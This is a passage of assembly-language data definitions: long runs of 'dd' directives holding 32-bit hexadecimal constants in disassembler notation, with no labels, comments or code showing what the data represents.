dd 0F915C980h, 0DC2F6535h, 0CD341084h, 17970745h, 0EFC0E028h
dd 5513480h, 8915F59Bh, 85B9BAE2h, 75AA5B50h, 0A896E965h
dd 3F3CF0E9h, 1304D99Eh, 0B8C97E71h, 17DE4B25h, 0F19121C0h
dd 0C0B497Eh, 2FC3199h, 5C1C9D1Bh, 8B5FE929h, 89787E6Bh
dd 4B3704C2h, 1F55A487h, 6AB79821h, 0F545092Eh, 53934071h
dd 54E5241Dh, 1B46D64Eh, 0A16D1F00h, 0B54DFF63h, 0D8C6A34Ah
dd 0B50F9D4Ch, 1660EC06h, 0F612CB60h, 9361FB0Ch, 6BB7092Bh
dd 0BF092873h, 5909FDDFh, 8D819250h, 0FBD66EE5h, 0DD5B9D3Ah
dd 0FD41F5DAh, 6CB26B7Ah, 8016CB1Ch, 0A6F98412h, 64070941h
dd 0F04AD2DBh, 5456CBE8h, 0CE31612h, 0B0B12E88h, 960103C1h
dd 1454CA50h, 0E54701DCh, 0A55F7D87h, 0DAF760C7h, 50836595h
dd 0D8B52956h, 0F30D25A8h, 2B0803C6h, 721DFDBDh, 0C54067EDh
dd 3F845CAFh, 0D189E793h, 0CB5C2987h, 0BAB06440h, 0A08E5E3Ah
dd 2A991975h, 600D6AA5h, 9507C96Fh, 706BE99Ch, 0DE0DF648h
dd 0BC311900h, 0CEB7629Dh, 0B3B21230h, 0FC60FFA8h, 800C0DB5h
dd 3D649D23h, 0B5BDC68Bh, 330030E8h, 9D318089h, 9DE224FDh
dd 54497318h, 2E0190F6h, 0C1FFC738h, 8F2A0EF1h, 149A4E9Eh
dd 3CB69080h, 910B0249h, 3535C6Ch, 5E25BD5Dh, 2397E05Fh
dd 85891E13h, 7F720FBh, 24E3FFF4h, 0C14B8BEFh, 0C7B829F9h
dd 0A7C0D100h, 0ECD4F8E2h, 0C97EC523h, 5528AA1Bh, 472F25BBh
dd 5400DC66h, 29AE22DBh, 108D68h, 0C19596EFh, 0F5B6EB2Fh
dd 1952460Bh, 27D9581Dh, 5AFC90DEh, 0F72F6E6Ah, 3FBE120Dh
dd 97F616Eh, 8F1C905Bh, 0ABC072FEh, 75848Eh, 425FE4EBh
dd 741473BEh, 89018D78h, 31A3D53h, 0A3FF79BBh, 4CEC0B43h
dd 0ECDE71Bh, 0DF90CEE2h, 0F5524818h, 5C3B42B5h, 5805DEA9h
dd 880FBD80h, 0CD7233BEh, 1C4468F6h, 809C9960h, 0EEDBE049h
dd 2F00BADFh, 0F4A8D9CAh, 4A603980h, 92E2FDD8h, 0F23F73A1h
dd 6BBF5F83h, 6B7B25C5h, 0EBE8CF8h, 0AD12D97Ch, 6BFFD34Dh
dd 9864715h, 7FE04E34h, 3AD1F631h, 80E54DA6h, 0D758DE1h
dd 1C636795h, 0AA4A38A7h, 6380E7DBh, 7FB21A42h, 0BD0B3500h
dd 55850954h, 2E24018h, 0BF37BDh, 84F197DFh, 0FF2FBE16h
dd 4885587Eh, 89210790h, 457927h, 25F34F05h, 43008CE1h
dd 9A44966Ch, 9ECBD93h, 0CB15D35Ah, 6148F750h, 0DBB313A2h
dd 23816BBAh, 0B7F30915h, 0D6EF5B80h, 12B089A2h, 0A0E901E1h
dd 5691382Eh, 5397BC90h, 30277973h, 51B1B55Ah, 5401A58Bh
dd 0DB59E92Ah, 0C8D57C00h, 138483CCh, 51319D2Bh, 0EC5EA4B6h
dd 6511A015h, 8830030h, 0E0CCB770h, 77003C44h, 88A07890h
dd 49501536h, 4956A8EEh, 9A81AFF2h, 3A125BC7h, 0C0EA9F25h
dd 1110EFF2h, 13042DE0h, 2CA3EA8h, 88109BAAh, 3282C018h
dd 0AF4B39C9h, 12297498h, 0E2184D85h, 0ACDCD551h, 0B98D2833h
dd 2B0920D1h, 3D85310Ch, 0C1FF551Bh, 42CEBEF8h, 0DD727053h
dd 290BD4BAh, 0FE1735BDh, 163651B9h, 0B0084023h, 8010D197h
dd 21F7FCEAh, 1C013C3Bh, 0C95FB17Bh, 2EF4C6ECh, 0E6841772h
dd 0E4300570h, 12F271h, 296F6046h, 0F77169Fh, 0D6F381BAh
dd 0B91B9364h, 9F72134h, 0F60399Dh, 0FA7FB2BFh, 3D80564Bh
dd 2FE6F4BBh, 0BFFB794Eh, 0C46E88Bh, 4BDD3ED8h, 843E8C2Bh
dd 0C1B70D4Ah, 0FFEA5100h, 66C989CAh, 3B854A4Bh, 0CFC1AEE8h
dd 0ECBC208Eh, 0AC18B3AFh, 815EC82Bh, 0D1B3832Dh, 9AE9D8C0h
dd 0F000B89Fh, 0E7F52C31h, 498507D0h, 6044024Eh, 802511A0h
dd 22ABCC0h, 614B2A89h, 0B8603980h, 3914076Bh, 46850344h
dd 4EBF211Ah, 2CD716E9h, 2D22A908h, 47AC548Bh, 0B100E19h
dd 0F51F3195h, 7588EFC6h, 4701EBAEh, 2685D34Ah, 9C6A5957h
dd 0A460916h, 381A61C4h, 1904EFBFh, 7B512C7Fh, 0D3C47CF2h
dd 60B30594h, 13C237DCh, 0A65595h, 0F1BA0186h, 3D4B4AD1h
dd 2394CDABh, 19915A2Ah, 0CF2E6751h, 3C4B73F7h, 0DEAA5994h
dd 0AA879E8Fh, 0CE22B09Dh, 1467DDEh, 1064B912h, 0CDE8A5A9h
dd 0C0F8A825h, 9F8E0F82h, 18814691h, 841F5h, 31FCDBB5h
dd 82B59525h, 7CC02BD9h, 0B502DC92h, 6F028764h, 0BD7840FBh
dd 6923655Dh, 1242E381h, 76E169EFh, 4B7D7A7Fh, 0F82290AAh
dd 0FABED2E5h, 22EE1B28h, 9F9C3697h, 76CBE56Dh, 12D445FEh
dd 100F4A2h, 4FCE954Ch, 0EB40B7E6h, 0F91B5B45h, 0B31CBC69h
dd 7A2F010Ch, 0E0BCF338h, 8A5AF105h, 9519CCA0h, 68A43E53h
dd 7AD5DA02h, 4F175727h, 50B65BAFh, 74122749h, 0F5AF5936h
dd 8E202EA8h, 7E51BF3h, 674B2013h, 825AF4BFh, 3DD0D907h
dd 2BD6CF9Fh, 287C58A8h, 541EEF05h, 8CAAE9A8h, 7B9388BBh
dd 0CE1C253Fh, 16BB008Dh, 81601ED2h, 0D105EDCBh, 0E1FF72C1h
dd 0B74CA6FBh, 4AE6BBA0h, 82625E8Ch, 82F5FBF8h, 5721AD1Fh
dd 1145131Ch, 0E199CD60h, 88B6A33Ah, 8D298219h, 855C2AB1h
dd 2D0DD071h, 8A83Eh, 5E7F353Bh, 0DED69E83h, 18E8605Eh
dd 0F9BE2920h, 0C24A1810h, 0F3412B82h, 47C10426h, 242E0771h
dd 183A262h, 0FBF9E3CDh, 1FC8B562h, 99DFE98h, 0FD9CE5BAh
dd 4F455572h, 0C1550CA6h, 3F0D5FEBh, 0E6B487E6h, 5FB41D68h
dd 32A65800h, 976ED365h
dd 1D915535h, 34A6B280h, 1704A48Ch, 0CCEB5D0Fh, 0A8597782h
dd 8321CBCCh, 0B5E425h, 0EE494035h, 50E745DDh, 0A3B45B4Ah
dd 4E039CDFh, 0AF5C6ACBh, 0A39112DEh, 0E90B00C4h, 0F91047A1h
dd 0B200C8A6h, 0D51D58EFh, 2CECAFh, 381060C1h, 6892F649h
dd 8B17983Ah, 0D78B0FD7h, 0EB007D94h, 292BF56Dh, 439CA3h
dd 0E2EDAF7Ch, 0B7B45EB6h, 0F080E04Ah, 0E328EC67h, 8BF04726h
dd 0A701B5E9h, 48E21701h, 0DEED8170h, 0BF522ED8h, 0DD35A7BAh
dd 5B156380h, 5E4DF05Ch, 4A4FA810h, 466D3CCh, 0E98E14BFh
dd 0B74C88A4h, 0A48CDE4Bh, 9C5B4B53h, 1942F97Eh, 0B84F9D94h
dd 4CF24FBEh, 8029DA96h, 2A8B1D5Eh, 47F8170Bh, 2460BEF1h
dd 3AC51A07h, 29809FA0h, 85F945A7h, 0B65C01E4h, 73B80394h
dd 0FC46A19Ah, 41720C2h, 9D62AB61h, 0B7B11384h, 97E615D9h
dd 0B35086E0h, 55174C5Eh, 1E80129Bh, 896D37BEh, 0C52D0A13h
dd 4F21F88h, 0D524ABDCh, 0AC61B9A0h, 94048C14h, 2B21B589h
dd 777798BAh, 452C7000h, 868FE50h, 0DF92003Fh, 0B98E06BEh
dd 15F655A7h, 56324F13h, 3BEA0AA0h, 9BCF2D4Ch, 5A9F8797h
dd 399757E1h, 6F1206Fh, 33E382Ah, 0CD9525E3h, 6115649Bh
dd 203ACBACh, 0B51A5747h, 0AE810A01h, 295F67B3h, 50872F78h
dd 5EF01B60h, 4044D997h, 0F091B961h, 293DCA2Dh, 0D87C8865h
dd 0C287EE25h, 10318D20h, 0EB224FD5h, 0D40106CCh, 43BFE176h
dd 6F2097B1h, 0CE1B4AC5h, 4E3B38C8h, 0C680AD9Eh, 0AB06D55Ah
dd 0CAB5B62Ch, 0E9865227h, 0E6157692h, 0FDB15BC6h, 951E6DF4h
dd 7E745F67h, 0F19D2F53h, 6D6BC0DEh, 567A40A9h, 8202E103h
dd 0DA105207h, 0A6EE7FAEh, 6B822D7Eh, 0CC29C380h, 0FEE3D8B8h
dd 0EAFC7F29h, 41DF066h, 0B33C7EBFh, 14DCBE62h, 20314135h
dd 0AC4B30EEh, 0BA50708Ch, 51ED17D9h, 0AA2AFC5Bh, 0E7C23002h
dd 715C31FDh, 51AEDBEBh, 3EBCFC42h, 0F406E922h, 0FC4372B0h
dd 0B27295E1h, 0ADB9BF12h, 8E42C91Dh, 0DD67DB94h, 0CFB74F01h
dd 66E2B96h, 0F9DA0D04h, 95A881ACh, 8A0F011Dh, 5624883Dh
dd 10C1086Dh, 81BA5F15h, 695F381h, 322E22DDh, 0B0B1F885h
dd 0FA0E7A51h, 715F29C2h, 0BB09BE53h, 3271E6B0h, 297EE4A0h
dd 0C4E9AE96h, 4E7D004Ch, 2583BB8Fh, 384AAAF1h, 4E503FB4h
dd 806DDB20h, 7635C04Fh, 0FD940420h, 82034650h, 0BAFF2B8Eh
dd 0DC625CBBh, 0BB670EFh, 36E6089h, 418529C0h, 0FC9BD2F4h
dd 5D24475Ch, 0F0BB01FCh, 42BD41D2h, 0FE33E4h, 0B414336Dh
dd 29310EA5h, 24E8259Dh, 0E25525E3h, 124F5F91h, 362C6B40h
dd 7BFF25E1h, 1F00E744h, 2999945Ch, 130D4991h, 0A68E97B6h
dd 3215B266h, 53B3D602h, 98ABEC5Fh, 9602E166h, 0BB018976h
dd 406482DAh, 727B7BE6h, 0B665E6FFh, 9F234015h, 0BD030E60h
dd 667F4DF9h, 0C19CF950h, 475EDFA5h, 168B24F6h, 0ADC12DA0h
dd 0D3DD2A22h, 2EF29B41h, 4DBF282Eh, 8065BD97h, 6A70A5FEh
dd 35585E59h, 459D08F0h, 25032431h, 965B0690h, 94810F2Dh
dd 0C33E0F9Fh, 0BDC2417h, 95DB93Dh, 71D478B1h, 0C4FEADDAh
dd 503C601Dh, 0D019016Fh, 4452B355h, 12786CA6h, 0E6E35CB6h
dd 0C129AC5Bh, 119BD33h, 16808B2Eh, 0A7A80C4Dh, 0D39ABBB4h
dd 0C9BED882h, 0D598C0DDh, 0DB1C9723h, 3D9F6070h, 1DF10416h
dd 0F135EAB4h, 43E74B30h, 3B9700D9h, 0E06A111Ah, 0D825EF32h
dd 95EBC6CCh, 0FE558B42h, 0B527DC64h, 56B6E243h, 8F4D7ACBh
dd 56B0A264h, 0A9E9802Dh, 5F866295h, 0D7E04C13h, 4F0E2183h
dd 1557875Fh, 0DD72250Eh, 66D15568h, 8D5AC27Dh, 0C25BED92h
dd 92C23Ah, 42B8D13Ah, 8EF651h, 45BC39A4h, 0A2361FA0h
dd 21C78A02h, 419D10EBh, 5FF6085Ah, 0E85FE5ECh, 6F1A1520h
dd 5BF90083h, 0DA8B0320h, 0BFF8905Fh, 6967130Fh, 430EB356h
dd 19FF04EEh, 0DA68C1BEh, 2DF67F6Ah, 0BBF7C6F0h, 4C53EB4Fh
dd 8CEB2BC4h, 802F6096h, 807FEE8h, 61001B51h, 659D335Fh
dd 468B109h, 0BCE72AF2h, 920FC0BEh, 295DF8Fh, 0A0D26940h
dd 0A1553522h, 0FA18587h, 7C00C567h, 0C7BE2E7Eh, 0DC04E1D5h
dd 870F5060h, 4A43F2ABh, 5B48D6ADh, 5A4AAE0Ch, 240B04E4h
dd 6A599D0Bh, 4E4D779Dh, 6A07A2E1h, 0ADBC2A2Dh, 5065702h
dd 5EFF808Ah, 88FC259Bh, 984007C4h, 0C366151h, 0E6B1C24h
dd 0FFD7B709h, 30A7DBB5h, 97A1E5h, 37C740D3h, 0D8B560CCh
dd 4920B698h, 8D891823h, 0D1FF8F59h, 701AD3B5h, 9E7EAF57h
dd 0D938D309h, 64C371A3h, 0F17E588Ah, 26A8010h, 5045939Ch
dd 2064F4FFh, 0E8F43002h, 550B2F61h, 9016B27Ch, 0D2BFBD40h
dd 0F34A0D22h, 0C0739B6Bh, 142E741Fh, 52B827C1h, 0B363AE54h
dd 45CC0451h, 0B9574494h, 0D5A6D3A3h, 66F0FEA5h, 154F05B7h
dd 814B546Fh, 132690Eh, 382E06E9h, 2A41FCA6h, 2801B663h
dd 3C99616Ah, 0CBA681FAh, 5F53E941h, 0F7B86569h, 0E4FEB41Ch
dd 73E80601h, 0B963301Eh, 80C6F200h, 0C9CCCEDBh, 0C28C434Bh
dd 0F551B790h, 77F9548Bh, 299003B9h, 1D5B898h, 51331836h
dd 0DEE4548Ah, 0FD6B915Ch, 0B1848137h, 4BE9065h, 0B94E82ECh
dd 0A3EC9294h, 0BB9F009Fh, 4BCA51F3h, 0FC85C100h, 0F547EC78h
dd 0B3A1129Dh, 89F6EB7Eh, 1F7B6A5h, 6B18FE80h, 0F821C2EBh
dd 4C6A9CE8h, 60C099FFh, 0BAD6D2CFh, 2A0B53EAh, 858C9503h
dd 3F910530h, 622E2FB7h, 712B31A6h, 0B455254Ch, 50B070CBh
dd 3215E8h, 187B9AEh, 14398CF7h, 7E30CA02h, 7F29E17Ah
dd 5B4BB044h, 89107CFDh, 76F88915h, 665F2597h, 0A6E9707Ch
dd 73260048h, 29B5339Ch, 0A1D4B45h, 6FC9A1C7h, 48B770F4h
dd 132FB809h, 8BC95254h, 0FB0D04B3h, 8905B0B8h, 0FF1E79B5h
dd 2010C332h, 0AD07E373h, 1CFA3200h, 3519BAD9h, 5E280085h
dd 0C82BC9F6h, 1175B529h, 0DFAA1097h, 429145E9h, 6CE2707Ah
dd 0D6E28B7Fh, 4D3A6091h, 7C015442h, 0B7A4EFCEh, 1A2E5FB1h
dd 27D796A1h, 0D97B60B0h, 61F80B73h, 95847656h, 962073Dh
dd 0E96A99D7h, 0F525B629h, 9D118BCCh, 37C82C19h, 502DEF4Fh
dd 4DD7A62h, 4153915Ch, 202B6A7Eh, 0A756E661h, 0AD22A800h
dd 0CE30A9Fh, 0A392009Bh, 4B4D8DFFh, 0CF4B0412h, 4137A198h
dd 0F0F666A5h, 4C601284h, 0D2F2A0Bh, 0E0F26F2Eh, 6A4B6126h
dd 0B94B366Fh, 57DDCDAh, 6CBACEBBh, 26A99304h, 26212DAEh
dd 0F8BAB49Fh, 0AAC1A40Ah, 0B9000B61h, 0DB951163h, 0E5D2D0ACh
dd 10B7640Bh, 256B7189h, 0F7CBD362h, 0E556E6A5h, 0D96A04FAh
dd 467AB2Ch, 6EE57B9h, 1D4159Ch, 720987F1h, 30DDC4E5h
dd 8C627CB9h, 5C0D215Ch, 1B76FAB1h, 0DBCB5AD4h, 489B80D6h
dd 972EB733h, 5DFBC029h, 1232CA78h, 0E78BF401h, 1CA65ADAh
dd 0F6BECFA0h, 0D3786902h, 61562233h, 342EFE7Dh, 8CFBFD7h
dd 9A1749A0h, 0F615A410h, 4B04C13h, 0B9311928h, 7B7E1C2h
dd 0A4F7B66Ah, 0D710C977h, 26E0BB1Ah, 17C28410h, 6096A49Dh
dd 0F2A22AEFh, 2D25B05Ah, 2CEC5F82h, 0B7BE4695h, 1ED094FBh
dd 12D701EBh, 55858938h, 4220F2Ch, 4BCD50BDh, 22C28E2Dh
dd 25F6980Ch, 0C0C5C3A5h, 2261C511h, 2A60F589h, 0C480169Bh
dd 688288ACh, 31169C05h, 44BA35BDh, 0B8D88BEBh, 0B0DB5ABFh
dd 8982BE92h, 25D35CF9h, 6925A5FCh, 0AA2E54C2h, 0E903B07Ah
dd 2EE4CC7Bh, 9529F8F8h, 0FE054527h, 29CDE21h, 0AB0421C5h
dd 0DBB951A3h, 0E28C15ACh
dd 3FCFFABEh, 1018787Bh, 0C265C90h, 516F895h, 176949BBh
dd 0FD3DFF09h, 0E080AA38h, 96A63430h, 0E7E1CE00h, 63952812h
dd 42CD953h, 32E86C90h, 0C9CF06F3h, 0F23FF98Ch, 1AD69406h
dd 718783FBh, 0C6FE2749h, 362F9640h, 0DD030CB2h, 2B369A08h
dd 5DF68A06h, 0EE9C5FCCh, 0FF78D3DEh, 4B84AD65h, 9860C188h
dd 5F8D6E48h, 28B85900h, 73179767h, 52FD5861h, 917B6B8h
dd 0CC0572D3h, 98BE1639h, 4500E539h, 0FDDA093Fh, 94259C6h
dd 7C082FE8h, 54E6CA55h, 0AE296513h, 0DCBF8BC4h, 8449E938h
dd 2B71252h, 0AD2AC7E1h, 986E87Ah, 83258570h, 0DD01A271h
dd 39F0C809h, 1171EF8h, 9E5D6819h, 2EE25488h, 0FD9F971h
dd 0CB81070Ah, 6544E9A6h, 776A3B29h, 0BEF7F307h, 0CB32E0EEh
dd 5598F91Eh, 0C655A96Eh, 39025006h, 9A4E5F5Bh, 0C01DC895h
dd 3671BBD5h, 13751C03h, 13F79AF0h, 0D8075972h, 0D3B586F1h
dd 0E0FE27ADh, 41950182h, 5274C81Ah, 1BB32F60h, 0F9AF3171h
dd 0FD8A0932h, 6882DD71h, 60F423A9h, 0A40289BBh, 80FB4BB5h
dd 0EB2056ADh, 0D9167EFFh, 711D7EEEh, 0C90171F6h, 3280A7FEh
dd 63014CFh, 5058243Ah, 2404899Ah, 1910CE76h, 0B1FCC53h
dd 562C4F1Fh, 3F55C4E0h, 9F00C019h, 0E6318367h, 0F57D7190h
dd 5B0D0B6Fh, 46D60256h, 28AA4A1Dh, 4D94616Ch, 37CD0BDCh
dd 0BE409AB2h, 1E970E34h, 5BB5BFC6h, 0CF96D900h, 4ABF9AA8h
dd 25D6CA02h, 0F6B87E30h, 0B6FC2F5Ah, 37B61020h, 31BEE917h
dd 2E328DEEh, 0B8A5B53Bh, 0EFFA0336h, 1018E0Fh, 84BFF9C9h
dd 2E03483Eh, 889D8528h, 0B0A5F98Bh, 91F8E98h, 302D2F8Dh
dd 0BD126C94h, 0F3AC3115h, 0A045A6B4h, 4AB3FC3Bh, 0BFEBCC5Fh
dd 286E7209h, 0B180711Ch, 40ECD78h, 75F5C0FBh, 0F19D5067h
dd 0AEC4127Ah, 0F6257CB7h, 0A380D479h, 0EA68C0ECh, 3AF92670h
dd 0F5B300B5h, 5F617D91h, 0E78158C1h, 712FE80Eh, 3F107901h
dd 0EFD688F2h, 0E24FD86Ah, 5B7B42CCh, 0F8CE7CBCh, 0F0D86E6h
dd 76296027h, 0F3A24C58h, 619FE512h, 115F79E3h, 8009D838h
dd 7E7079E3h, 605EEF9Fh, 80D6B885h, 0C18D3108h, 7CBB000Ah
dd 0F508F846h, 23B16E95h, 0F3A72AADh, 0CD6051E1h, 69143FE3h
dd 38132D48h, 0C0AF23h, 0C3EC74D5h, 0AC6A75FDh, 93097602h
dd 5CDD8A5Ah, 82B72FD7h, 2E2B320Fh, 71D2E058h, 9509C48Fh
dd 0FCA79EFEh, 4703555Fh, 0F2395C32h, 0E0624087h, 0CE1A972Ah
dd 674B107Fh, 97581C19h, 0A4D882B0h, 0F282BFD3h, 13F50841h
dd 851222D2h, 145F59A2h, 41BA0315h, 81EFBD5h, 0E7AF7216h
dd 0A8C041ECh, 1C42C56Ch, 7730C15Eh, 0BEA1BD01h, 0BF5007EBh
dd 2526E289h, 9D03BDC8h, 7BFD7151h, 0DC4521A6h, 3D8B1822h
dd 7E52A1FEh, 0B8FCDCC5h, 0ABEEEF01h, 0C7AE781Eh, 978D0534h
dd 38455A14h, 18E9BA89h, 0AA601DA5h, 0B7B8A030h, 0D6F0EACh
dd 16C45061h, 0E007A696h, 25098859h, 0EF5B40CDh, 31181759h
dd 775B2613h, 4A4B6BFFh, 0AB295861h, 7FC5B53Eh, 14C8F4DBh
dd 96F56C9h, 6B71C51Fh, 0F42FC5ACh, 1EEDE2D9h, 4C71545Ch
dd 0C118DE6Ah, 8F98B052h, 0C8D8DA7Fh, 5B65C016h, 0AEB7C60Ch
dd 540D2BBDh, 210179AAh, 0E902CE79h, 0DB805525h, 3F22CF81h
dd 8B2D4B0Bh, 0CE4FEDC1h, 13793AE0h, 0AD3B3FBBh, 0C8CCB85h
dd 20619060h, 54A30BA9h, 7C18AB8Fh, 7213997Fh, 30006ED5h
dd 0E2C11ED2h, 21B7255Bh, 4D4B6AF5h, 0F893E058h, 0DB16D0BFh
dd 0CBD0F5BEh, 0B606860Fh, 849D6D1Ah, 0E73A04B6h, 0FF61F804h
dd 1AE7688h, 21063BA3h, 0F8B76BF4h, 7401E0DCh, 1B9B4389h
dd 85D850CDh, 4A2EBAA9h, 5EB9B15Fh, 4631827Dh, 71F957h
dd 8029B6C7h, 8500C824h, 92F5BA0Dh, 0B53D2A4Dh, 0A65A558Bh
dd 3F8FBF15h, 0F092569Bh, 0BD870F3Eh, 0D896ABF9h, 24AB4C84h
dd 1D5C8192h, 6D5DDA95h, 21EFE012h, 0A0258B83h, 92DC6E5h
dd 69BD0B50h, 0AB5F6624h, 4580D92Ah, 0D98BF968h, 72D1FF24h
dd 2D2909DEh, 0F714FA2h, 31EB8D45h, 2E026A63h, 0FA0ED86Eh
dd 0E2B25055h, 2ADB012Bh, 1B72AF3Bh, 2E2CEA2Bh, 7DF4AA5Bh
dd 0EF56F990h, 3B0070FAh, 4751861Dh, 0A4FDC0h, 164D46A6h
dd 230C6AD5h, 441BD2Dh, 13B95B51h, 0C9ACE6D1h, 7D7AE200h
dd 0EF80AE14h, 9D2327DEh, 0E92D7FF2h, 7308FE37h, 0E2B794DCh
dd 5B74C41h, 917793D4h, 4055A900h, 2F1B3A29h, 10ED0982h
dd 410CD8C2h, 85140269h, 144C1F7h, 32A22AE0h, 0D01D96A8h
dd 8A09DA68h, 7C0D173h, 3060CE67h, 5FA5E7BAh, 8CFE1D4Bh
dd 6A3EBBACh, 0BF9001CAh, 0AA0FCA6h, 0BD560120h, 0DB8FB463h
dd 80BF7079h, 0F354577Bh, 7187898h, 96095395h, 8C60347Fh
dd 40002A02h, 0EE3478F4h, 0E6AA4322h, 2C1F2A7h, 0EFCCD418h
dd 81804852h, 59960FF0h, 0F2853125h, 89614BA3h, 12DE6B59h
dd 4AA3EF80h, 0C900BF27h, 3DBB190Ch, 5B25BA33h, 0C30B09F5h
dd 12A99DF0h, 72CA6A61h, 0A087B64Eh, 2746289Dh, 2FE3F6Fh
dd 1909DCFh, 9B920592h, 0CD27C2AFh, 5DB9FA50h, 20E1E30Fh
dd 6853BEA2h, 2A181607h, 0C81FADF5h, 12A54A23h, 90FDAC21h
dd 0F1DA1C24h, 9313DE40h, 5BCBD884h, 3D7BFD8Ch, 1360DBB5h
dd 95558F7h, 32C604EBh, 8098D15Fh, 67AB1D3Eh, 9B571E4h
dd 45525A90h, 3AB131E0h, 41AA85D4h, 90FAFCFCh, 2DF72F63h
dd 0C1B28377h, 93D58C0h, 4BFD6495h, 0BB4880F8h, 845BADDFh
dd 1E5884FCh, 3919A519h, 0CF1D20D1h, 0E92804E0h, 9D2F419Fh
dd 7F7A12D5h, 1499282h, 6A0DD9E1h, 367F0EC9h, 712DB8CBh
dd 5187FE14h, 0D39C2D1Eh, 3DB030FBh, 6501DE6Bh, 0A50910F7h
dd 823C5BE9h, 0AD1B169Eh, 1988D207h, 3E7205B8h, 0BE85CDECh
dd 4BB7F812h, 0BD0F3521h, 0D6AC32F9h, 0F34487B2h, 8B31FF95h
dd 80D6A1D9h, 2697F73Fh, 205250BFh, 5F4B1821h, 41784998h
dd 0C0B85BBCh, 0CB8BBC17h, 52901AF1h, 0EFDD8873h, 0E68E4087h
dd 780241E7h, 6036ED7Bh, 6B395C7Fh, 7CF67629h, 82135B9Fh
dd 9EE5453h, 0F6591AC3h, 0F260A22Ch, 4BD2A429h, 0C8CEFAEDh
dd 0B9FC5F14h, 2BD8B705h, 25BDFCC0h, 94E9660Ch, 129DD46Eh
dd 1CF7C9CFh, 20E36D2Bh, 685FE4CCh, 1980DF9Bh, 4DFEAFB7h
dd 1664BE0Dh, 1121C45Eh, 2F95992Ah, 640141B3h, 0DC8BEFFBh
dd 11DA6A72h, 47C01CC8h, 1D649EE1h, 92F487F6h, 9BEB3CDh
dd 5903CB80h, 0F9F85BC1h, 671231BFh, 9DB2113Bh, 2B9F6188h
dd 43F81D53h, 0FC98FD5Bh, 0B1715F79h, 5B1D6C2Ah, 5D444DC2h
dd 19904D9h, 342B048Ch, 0B4DEF692h, 2571F504h, 92A28CACh
dd 9074D3CAh, 0E3FE02DCh, 39752260h, 3BCD9057h, 8E3603A3h
dd 8CC12069h, 15B111B8h, 0B948710Fh, 9DEB2409h, 67A2BFACh
dd 0F421F65Dh, 8707AD03h, 921FE54Fh, 65B0F5F9h, 1441959Dh
dd 0F9AAC72Bh, 0EF71B056h, 60D98A10h, 0DCAEBEh, 1CB4ED21h
dd 6BEB9273h, 0C4AC3C27h, 5F6F0019h, 706EF0E7h, 2E12A93Dh
dd 0F8B15D37h, 8B08DB2Fh, 25C618B8h, 0C2BE0103h, 0BC1D975h
dd 35CC2C9h, 0D0B6424h, 91987F10h, 7AE10157h, 0FEF144E6h
dd 7AC9D046h, 0C1DD1207h, 75B08127h, 9566D34Eh, 75D4523Ah
dd 0EBDE0BD4h, 2B5F5C17h, 16CB5E09h, 0D341AD1Ah, 30C108BAh
dd 261CBF01h, 0E12F4790h, 0CE882FECh, 0A36D0001h, 312039C0h
dd 0C15EBB05h, 0D10425A9h, 0A1866C13h, 0C1F76B47h, 90FC8A01h
dd 6099EF80h, 669E0D79h
dd 0DE66DCA7h, 0F5DE7B1Ch, 21E0CF80h, 0B0D17ACEh, 8D311664h
dd 68BC8089h, 872EF86Eh, 0CD09E37Bh, 1E8E5079h, 0E598FB91h
dd 0CD7035D3h, 61A50169h, 0F3F26EC2h, 0A2E06FFEh, 32A802F7h
dd 0BE59D2Bh, 0CEE9E8FEh, 2B092D24h, 5E5A99FEh, 1707D4A3h
dd 9464A48Bh, 95C06F80h, 0E1DF0181h, 0E913AF25h, 843F28BAh
dd 9DAA05A1h, 93CD3E72h, 302BFEF1h, 3EBB56DDh, 66898614h
dd 0DCB14EEBh, 0FDE1532Ah, 0E97BCF3h, 55BA6D6Eh, 0D80E62Ch
dd 0EC13778Ah, 0A69ED3F0h, 5F29A848h, 0D25C7CF6h, 6659142Dh
dd 4496CDA5h, 0E998FF82h, 0CB8995F9h, 0E8C71FEDh, 658805F0h
dd 9AD9EF1h, 297727C9h, 5BC7475h, 0AB0C158Dh, 4EE2374h
dd 0BC294097h, 30AAA576h, 2291E072h, 0EA9C7C07h, 0BB83E91Ch
dd 37F2B1D2h, 0C1C64FF5h, 6E892709h, 2EC45FFEh, 70F6A700h
dd 64287B95h, 5E4512C8h, 0DDCB0661h, 36CECF8Bh, 0BF01FCD9h
dd 7BC489D3h, 0E8792E32h, 37842506h, 0D87987DBh, 2CE0F8h
dd 0F4B37755h, 0A6BBBF2Dh, 70907A2Fh, 7582AA3Eh, 0BAE0A56Dh
dd 0FA283B3Dh, 740502F0h, 82B75650h, 899F7A7Ah, 575F42A3h
dd 1C918B35h, 0AEAB1E81h, 4B947050h, 0AED4CC24h, 0F333508h
dd 3AC1DB81h, 26616E16h, 0A8B0F791h, 473AE0Ch, 0D3803884h
dd 0B43CB8F1h, 2325BDFCh, 2AC4E059h, 0F90EEE50h, 251C3DE9h
dd 271B3775h, 2EA9A5C1h, 6BAA74C5h, 3016E295h, 78487083h
dd 0BCBB4DDAh, 9FED031Ah, 43209B4Ah, 3DBD2990h, 795302E1h
dd 776007BEh, 5DDE9054h, 190099E4h, 0E2AA83CAh, 7F88271Dh
dd 0CC134EB7h, 0F9B75F42h, 46F6260h, 95F41CFCh, 612488D8h
dd 40792317h, 2FFF5FA4h, 0BDFF3ECAh, 524C8064h, 2DAEBEB7h
dd 0D42FABB8h, 825EF198h, 15E5BD03h, 57E9BB5Ch, 0B5296718h
dd 0ADA91D4Ah, 18C1AE8h, 4E0BD00Fh, 30B68E4Dh, 85A4116h
dd 874FBCB7h, 770AD6CBh, 0A7499D34h, 5552A682h, 0B7045979h
dd 0FFC85F99h, 0BCC42BBBh, 0CF800E9Dh, 0B31422D6h, 1082B3D5h
dd 511395Ch, 915BD89h, 2D567566h, 585B35AFh, 10181959h
dd 0F970D04h, 0BAB3CDDh, 0AC4FC49Fh, 0DC907D6Bh, 531327BFh
dd 558D1020h, 43E47DCEh, 0F89F8B95h, 0EE895D2h, 0B7952050h
dd 142C0226h, 5E5CC0DFh, 0A6B5FFEBh, 0D232AC0Eh, 9347FCh
dd 52C62481h, 46B5CF99h, 804DB529h, 0FD6018C4h, 3025B172h
dd 0B618FFFFh, 67C2358Dh, 75CEE380h, 29829A5Eh, 5D099185h
dd 1571D27Bh, 9ED6602Eh, 19558D09h, 452F47D2h, 1F7E386h
dd 0CD43EBBFh, 0C97F9632h, 81FC3960h, 4DE87093h, 0BD9650E8h
dd 7C29FE89h, 40F3957Dh, 48B614C5h, 0CC96C412h, 813FB0E3h
dd 0A89FA984h, 0A28EB812h, 8C3D7FABh, 877FB480h, 132F0C37h
